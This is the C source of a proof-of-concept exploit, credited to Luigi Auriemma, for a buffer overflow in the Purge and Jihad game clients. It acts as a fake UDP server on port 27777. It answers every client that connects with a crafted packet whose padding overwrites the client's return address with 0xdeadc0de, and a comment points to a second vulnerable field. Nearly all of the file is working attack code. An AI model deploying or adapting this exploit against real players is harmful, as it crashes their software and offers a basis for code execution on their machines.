home *** CD-ROM | disk | FTP | other *** search
- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #endif
-
-
-
-
- #define VER "0.1"
- #define BUFFSZ 2048
- #define PORT 27777
- #define PCK "EYE1" \
- "\x06" "purge" \
- "\x06" "27777" \
- "\x0a" "destroyer" \
- "\xff" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "\xde\xc0\xad\xde" /* return address */ \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "\x0e" "steel chamber" /* also this is vulnerable */ \
- "\x06" "2.0.0" \
- "\x02" "0" \
- "\x02" "0" \
- "\x03" "20" \
- "\x04" "ded" \
- "\x02" "1" \
- "\x0b" "maxclients" \
- "\x03" "20" \
- "\x05" "time" \
- "\x05" "1800" \
- "\x07" "rounds" \
- "\x02" "3" \
- "\x03" "ff" \
- "\x02" "1" \
- "\x0b" "lamerguard" \
- "\x02" "1" \
- "\x09" "deadtalk" \
- "\x02" "1" \
- "\x06" "lives" \
- "\x04" "200" \
- "\x07" "portal" \
- "\x02" "2" \
- "\x08" "persist" \
- "\x02" "1" \
- "\x09" "maxlevel" \
- "\x03" "21" \
- "\x09" "minlevel" \
- "\x02" "1" \
- "\x06" "altar" \
- "\x02" "1" \
- "\x01"
-
-
-
-
- void std_err(void);
-
-
-
-
- int main(int argc, char *argv[]) {
- int sd,
- err,
- on = 1,
- psz;
- struct sockaddr_in peer;
- u_char *buff;
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Purge <= 1.4.7 and Jihad <= 2.0.1 broadcast client's buffer overflow "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n"
- "Return address will be overwritten by 0xdeadc0de\n"
- "\n", stdout);
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- peer.sin_addr.s_addr = INADDR_ANY;
- peer.sin_port = htons(PORT);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("\nBinding UDP port %u\n", PORT);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
- if(err < 0) std_err();
- err = bind(sd, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
-
- buff = malloc(BUFFSZ);
- if(!buff) std_err();
-
- fputs("\nClients:\n", stdout);
- while(1) {
- err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
- if(err < 0) std_err();
-
- printf(" %s:%hu\n", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- err = sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
- }
- close(sd);
-
- return(0);
- }
-
-
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-